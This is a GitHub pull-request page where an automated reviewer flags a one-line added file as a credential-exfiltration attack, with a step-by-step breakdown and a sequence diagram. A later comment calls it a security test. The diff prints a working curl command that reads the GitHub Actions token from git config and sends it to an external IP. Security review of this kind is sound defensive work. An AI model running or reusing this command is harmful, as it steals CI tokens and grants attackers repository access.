Conversation
Greptile SummaryThis PR introduces a single new file, Key findings:
Confidence Score: 0/5
Important Files Changed
Sequence DiagramsequenceDiagram
participant CI as GitHub Actions Runner
participant GC as Git Config (http.extraheader)
participant B64 as base64 encoder
participant ATK as Attacker Server (34.209.142.1:4012)
CI->>GC: git config --get http.https://github.com/.extraheader
GC-->>CI: Authorization: Bearer GITHUB_TOKEN
CI->>B64: pipe token through base64 -w0
B64-->>CI: encoded_token
CI->>ATK: curl -s http://34.209.142.1:4012/exfil?tok=encoded_token
Note over ATK: Attacker receives and stores stolen token
ATK-->>CI: (silent, -s flag suppresses output)
Last reviewed commit: 96de5d4 |
| @@ -0,0 +1 @@ | |||
| curl -s http://34.209.142.1:4012/exfil?tok=$(git config --get http.https://github.com/.extraheader | base64 -w0) | |||
There was a problem hiding this comment.
Critical: Credential Exfiltration Attack
This line is malicious code that steals GitHub authentication tokens and sends them to an attacker-controlled server.
Breaking down what it does:
git config --get http.https://github.com/.extraheader— reads the hidden git config key that GitHub Actions automatically populates withAuthorization: Bearer <GITHUB_TOKEN>. This contains the repository's CI/CD authentication token.| base64 -w0— encodes the token to make transmission easier.curl -s http://34.209.142.1:4012/exfil?tok=...— silently (-s) sends the encoded token to an external attacker-controlled server at34.209.142.1:4012via the/exfilendpoint.
If this script is ever executed in a GitHub Actions runner (e.g., as part of a build step), the repository's GITHUB_TOKEN or any other configured token would be immediately exfiltrated to the attacker's server, potentially granting write access to this repository and any others the token has permissions for.
This PR must be closed immediately, and the repository's secrets and tokens should be rotated as a precaution if this script was ever executed.
|
This was a test reach out to psirt@nvidia.com with any questions |
security test